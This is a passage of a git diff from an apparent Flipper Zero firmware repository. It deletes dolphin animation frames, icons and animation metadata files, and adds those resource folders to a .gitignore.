assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_27.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_28.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_29.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_30.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_31.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_32.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_33.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_34.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_35.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_36.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_37.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_38.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_39.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_40.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_41.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_24.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_25.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_26.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SKULL_SPIN/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_0.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_1.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_10.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_11.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_12.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_13.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_14.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_15.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_16.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_17.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_18.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_19.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_2.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_20.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_21.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_22.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_23.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_3.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_4.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_5.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_6.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_7.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_8.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/frame_9.bm delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/SPIRAL/meta.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Anims/manifest.txt delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/NFC/NFC_dolphin_emulation_47x61.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_bad_46x49.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_happy_46x49.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/Passport/passport_okay_46x49.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinReceive_97x61.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSend_97x61.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/RFID/RFIDDolphinSuccess_108x57.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Fishing_123x52.bmx delete mode 100644 assets/resources/dolphin_custom/WatchDogs/Icons/SubGhz/Scanning_123x52.bmx diff --git a/assets/.gitignore b/assets/.gitignore index 8dadaf6c8..e953f6e7c 100644 --- a/assets/.gitignore +++ b/assets/.gitignore @@ -1,4 +1,6 @@ /core2_firmware /resources/Manifest /resources/apps/* +/resources/dolphin/* +/resources/dolphin_custom/* /resources/apps_data/**/*.fal diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_0.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_0.bm deleted file mode 100644 index 46079c3728bbc787dac3b6bd912534c3cb26c2dc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 481 zcmV<70UrJV0Nnuq41gct{-6W=AJ_nYgZv-l{|EQLAJWJOKV)zscEkbuK!`yZ+7IZ2 zA`k^H{0tv403h%n5x{%GBY^UdKr8^Whl&a-KGuK#@pCZ$fTREYfXmDOv4I8_7$4|8 zWM9wy{zW2%1H=e2Efj7e5vqyGsa1l5#-&xN^>_NMRwDg?{NgbPBEkVj5nrNFDx-1l zhs9(-K@X&ej6;zJl%Rf5@%aPDK9qp^!U4m790)wJ1NH}yWI^RnAHn>AY(wU59C%i$P0j1>yyZb2eSZ&<<EXw3P3+Y`9bg> zGw`qs{?L2IGCmF}0sTSa4~A5K;qqV!{Q=`2l1RPCF<=n=r}ZkY=Heb41yFw9{7xhI zFDwB4@9UBO1B(J5LHS?bB2PRR{qOIQ2c8r@kbrq&0D=!9D38oEA@{_G&~zj7CzJxB z|4{mWm<1(&sQl034`;q07 diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_1.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_1.bm deleted file mode 100644 index e12d70796299cef4674cbc2e84e90f9f89cdf652..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 461 zcmV;;0W$sp0LcLW41gct{|ER#!Tt~HfIq?gs0Z|t0uSgIKV(oKe#l^e?7&DN0RIQ& z0znW0m%@IofB=C?8Ndg{z#eBYLYzDVKl;Doq5uEy!2|jNkN@@qEZ_g1{{Pp(1NLHZ5`cK(00m#7Q7XS*{roa9 zP>mvRO#zP{B1I8dfDER%u^N0_S{9+ME27rFS^biz)e|IKu$OrfJzlYp@m=A^i z13({@Y<|qu!2#onAFWhAQ3xC$9wqgWREOoTfP>0NKU-)#WTfGU z2i*Rg2mm~v^OfMhED%ZsA%8#U20{r$lt1U=0Kh=#f%SiFb)nte>GVQX8}N{kLpDxphzMk`jYS_5(oPa(oq11 z=rM!(lE5Gm0saHX2qW|VhsXpn@ObC|;s8K;MZx|L9)LMu1M+~tA^`CL5CH-H5Ac5g D_X*BS diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_2.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_2.bm deleted file mode 100644 index b416740f2772d3a057f2fd7817d1b16adc40af47..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 531 zcmV+u0_^<(01pBH41gct{-6W=AJ_nYgZv-l{|EQLAJWJOKV)zscEkbuK!`yZ+7IZ2 zA`k^H^c){C0wF+S0QZDP0pybz04(9)A^*i^+Ry*~UJ(!=fCu&iFE9Sa1Q@u)f57#T ze?Ry66pAD$83+_~QMimosuwDyRuT^yr~rDq{Z^|He!zZl7=w{wfTM`7(I}N)@Bh9Z z7$`hyLG_Ulh;k|-k`Ky0KOlJr#iT$%52PR*H}SxO$b3We2asfNK=G&#;Qm@60K^CI zA1_o5fFt{N6@Y$KvHOF|KwuI3io_mN1^}7x9D%Rn9wc*+m!`v1q^8X)k4#Xu+Y4~RT;0Q1NX)2sad=j0k7 zaDWCve^7ZuGEfLWJcsCiJcrH!4+o6|{`>pHGlCB@`lHGpQCE}$15`htJfxB+0svwd z5&O^ABUOPy0pcG)`Qk?-1cXR1Blo|)MymygNFZzV2b72aGx@y&3n3r1{5(Bg1R{Y6 zU#L8X11Nw*Xb}=HkIJeaNU6AJ8B+R4hv^D{NTeDU`iIgI4;;aiNAlho790vA_Wy=N zK0XWpePmzYc#p;<0FqDuqCY?QJb*(NfJdkTf&dsjCHM#kKP&VI06m}p@_;}v5)gQS VL;#<_c)&s99)L&z_y-VwgV=lG-g*E4 diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_3.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_3.bm deleted file mode 100644 index b7e15ddeec980a2775b4df50901a2996a7991609..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 437 zcmV;m0ZRS>0I>l841gct{|ER#!Tt~HfIq?gs0Z|t0uSgIKV(oKe#l^e?7&DN0RIQ& z0znW0m%=`-fB=C?8DIy+z#ecc0u1NLHZ5`cK(00m#7Q7XSuV1`CY z4;p}dWM9E}$YfC2*hpfPa4=c@OXF0}r_UegN^% z56ZSbf5?6Z=>q-_)qejQ`Mi1+LHxrffbqZ|-TF0H6yP2(0sBV>RDt862aJFoGC}&=L+8+l2i*Q}m=6*VKNtN# zd{AKc(iigvh_l84D1Xf4Vj}Sms{J?+L-`NuDi0_HKz}+YI5=bx0sQ4bu z1P4KoAI(-jfESHKe=;lefF3as{MB|b@OZ!2ev*QC=rM!(lAnlwav*r0gnpm!`2dDq f4<3LVKnM@;dPTwU03VaEVh!?X5CFmc5Ac5gJVnKO diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_4.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_4.bm deleted file mode 100644 index 202ad6e37bf56c5959bb6ca06bfe101de96248f1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 459 zcmV;+0W|&r0LK9U41gct{|ER#!Tt~HfIq?gs0Z|t0uSgIKV(oKe#l^e?7&DN0RIQ& z0znW0m-wj?004;!0}Kbnz#dcx1i%(>@DTs%|B8qI|1SuL5I_U_0hVw7&;Nho;}HS~ zJtSYC8Azf)@d6BsMH`63YQNBU)oQSjz<~y<)!*v1SdHWl*@?s;hzKA7uhA%#U$6fD z85k%$YC-jpe+AokJ_ZaE5rzZL-w|V$E$z-5DKJ! zoPXj14;BGG-Ua9f3$0RibCfPNrA{TK*8!OC5Y B#Yg}E diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_5.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_5.bm deleted file mode 100644 index cdc0a2a343182740de054af8ad6e8a42848e616b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 450 zcmV;z0X_Z!0KNeL41gct{|ER#!Tt~HfIq?gs0Z|t0uSgIKV(oKe#l^e?7&DN0RIQ& z0znX0XaGQi!2g5h;14N;0O*kL5dZ4`iiiLI3xIt9f&d@b46}d!fBXLhfO-M#BK-i# zBvAk$$h1+oj7F>d2aQ&$4;p|FYQ0_lt5t~JK>e7QLr8QOfB{$NluEDH|9=dKJY)g( zk$(l_A<-p>esS^pWnd5*0R6+|3BXV)Gy(gE%ZraLjs~bdnU163^}>(p6OjCW@Zt6! zoEJb3A^FzF>jDRu{(^{EsSrG-1O1RM=zd`FU&wr5PzwNkhw2X% skiXadA0QBe#zDjX0t5hH_RvoO$`6hhIbZ|wE{qWVE+GIYKf(SF;Hdb~#sB~S diff --git a/assets/resources/dolphin/L1_Boxing_128x64/frame_6.bm b/assets/resources/dolphin/L1_Boxing_128x64/frame_6.bm deleted file mode 100644 index e8ea3aa683605683a11be4c74d8946e2c7f720d3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 442 zcmV;r0Y&}+0JZ@D41gct{|ER#!Tt~HfIq?gs0Z|t0uSgIKV(oKe#l^e?7&DN0RIQ& z0znX0XaGQi!2g5h;14N;0O*kL5dZ4`iiiLI3xIt9f&d@b46}d!fBXLhfO-M#BK-i# zBvAk$$h1+oj7F>d2aQ&$4;p|FYQ0_lt5t~JK>e7QLr8QOfB{$NluEDH|9=dKJY)g( zk$(l_A<kmk_ZF^z(e$o2g*laz(8aN z_Oye?{SlyG8UjCRz&v2k{s#g9fFHF~9zU3V0>V%c`&5DB@du6k9x@U7+d<={hrlQ1 z0jVG2QwV@Zpb$J${v@;nc|k+!zd8+o9#D7u)oK9pfUoBhNC%b$e&O<~gNFe_f6RwK z4=LdOvY_&)kLwT*DZu`N=kOoah#oWvfc~nm5O}~B^NEB5&3_^LAEb%}06`1=f8p{0 k2s~sQKky(x1`lln@EoA{;e(a{KO$(s3FH7^e}nuVz*X;M1& diff --git a/assets/resources/dolphin/L1_Boxing_128x64/meta.txt b/assets/resources/dolphin/L1_Boxing_128x64/meta.txt deleted file mode 100644 index ec5127b8a..000000000 --- a/assets/resources/dolphin/L1_Boxing_128x64/meta.txt +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 9 -Active frames: 7 -Frames order: 0 1 2 1 3 1 2 3 1 4 5 6 5 6 5 4 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 2 - -Slot: 0 -X: 78 -Y: 16 -Text: F*&K!!! -AlignH: Left -AlignV: Bottom -StartFrame: 2 -EndFrame: 4 - -Slot: 1 -X: 78 -Y: 16 -Text: What ya\nlookin at?! -AlignH: Left -AlignV: Center -StartFrame: 10 -EndFrame: 15 diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_0.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_0.bm deleted file mode 100644 index 9147714c1e291e52f40294d265c696fc6ae5c708..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 889 zcmV-<1BUzo0CfYDU~v!(1pp2(7#2ba0isYMQizTMiKK)^720#ulnk15?AeiDP5lAF}9xx0=5)*)eL;*vIpiChW z2vinH0iZ(RGDw921%bdwu@VA^!67(^gd$0#2aG2o4-<&cAdtL-LlH72#WvB=6^$ zQ4eDvkYafN;s=b1k(9{N4`V=qLP6;57zC8|VIja=LFk?n*oQ|+K#)c(0rfqO2M~K0 zLcBrgfS|x-GYE)0a1;oDJz%jH=$^&_5eJOHQYR5Y3=H-;3J z;z8oY7x91w7JEuWz-l1((jLbHfPrEcLJv$`nD!u1$iSfx51=%mkPI2@tdRit)S(|j z=))uM2pR0k!v={`0p0qmg=NQEQeV1R?l2Z%kE5OOgnjNpVn!Fb7!WeAc$ z1f!Ci1qa|V88Pf!BLt8DgdQNl02G+^G6UF@MnQu3AJPpFJ)KZ6R{(lZk7QmNq$-fb z5c;0Q7EYlDjAR%wz!1ZaX#~JRBoNTZ*umpY&^ko+GK>x)fGHaQC}0`G*q8?;2qK8& zqX6?gh@e5^EWpA6;sF>G18D?3jFJVBghWB(z(^j_0Z;-Ah@3DOh1zfsJ0dJZgCxkx zBv>4DAMhV5A-G`&u@;PjAq;>|!R5p~i~txiC=7!EIPg0}9$AS2XlM{9j0y$u|HHxM zgo#2j7?=dAD@2h4#s&{F*vT*;@sUtu7a#e&;DGUjA4EDN0kK~j=L9v1ET|GFO%lZK PKzQIK5;%cCMPd(Nc|%A2 diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_1.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_1.bm deleted file mode 100644 index 789273d9da32277651ffe8631e3a657068af1b5d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 911 zcmV;A191ES0E+{N=4y}%1Og=ih+t@t4n&eg0Fhv70YQRPq!LI-7;z9u1TsYts7N6& zNR z$o4WBCPEN{DF6geBP212?4l5f4nX!&3>F~_FbN^-b_y{ZiR@&UCTm-JP96%9yJ9qKr|GH z6vS{)br8r8V*q^)hY(Aq0kl${A!ui1e~BN=8CK2M3m7kc%A! zN|87@PGy}NWfDhP$O924kJkioWNEfk>LZ!5Ro1U96{xXJ()mZ83-379(Dvl z9?48N5cq?L9xxmLSadvsXyjl+Q2-YLLnMO4G#QEnN+Sih1JV+EAn3s&QYadmV_R1v{}fpA@PAsAdmpy;2~$R%tRnq7ckPkiSeHU z#tT3_o+gt3p-ctm0E5y8r2>IMXcZuOz}4dt*p5b%K*~-7>U$ZKjtdf`VltnAX+t0w zv)W9uSO9pJMj0O$j6(o>7zBeQ0NQ*3-lnVhs$3g!A^0FS%5hBEJ4 l45L(JRvY7d;D@rr(jpWI1Om$MMTnlp5kSylWRMF8JwP+AOc?+G diff --git a/assets/resources/dolphin/L1_Cry_128x64/frame_2.bm b/assets/resources/dolphin/L1_Cry_128x64/frame_2.bm deleted file mode 100644 index a3c87e0a6de7d598766d94945ad530339de2d96f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 910 zcmWO3QA`tO007{-UTg2VlWR{l4p!RhabVLjJ?1UZrRd-G=&p`Qkv=S$$tsjd+zY5# zOlnxK6n0muwjFDVS+F2;WG|z-B|aEaLWKikfIckx))b6;=n~i*F-tb*>-YM>Py$hf z1*6D16uKlZ+#2hY7#aLxoMIV_jt6P(W}6dc<>Hu^O~T6vgj_qoJB^|`!{gT(Hyndk zu*s5}hDPLaKNSO&Z~#Bm2MZ1R4LUI<*f|E27LK91wpMox%#&iA1w6Q{y0@V5O`R8& z;bj;oo*zuc-=`nzpv28JiEd7M`G{R>fK3WhD$^tBuvEQBrG|!s-N1Yypcw5J^aUBT znp&PcazMLt!icV#>h91NNZHjtnVZwZK5N2Ld%@`C4g5Crfg*&U-5lsV@$c37;rHJl zmr~feKIp&K&tHnRT7losYBnNNauj~}iBh{;e~o2Qge6`F@7R=Lh;ry|9}rgsm(W}B zxT}$N9bLzrkE<3AZKfYM&&nR#QB>#Q2|I7_L#d3<1gn;1Ghq+m-!7$9bizL~rdi`k zX1EsS(5w%m52LR2K|I~;^ZGZDC*r|->HaY3sMBbO_u>f&?@Y!JTN(_5zjnm?`n!HS z+hwXE2{jYv`uW}ZLm1RW9;@Q 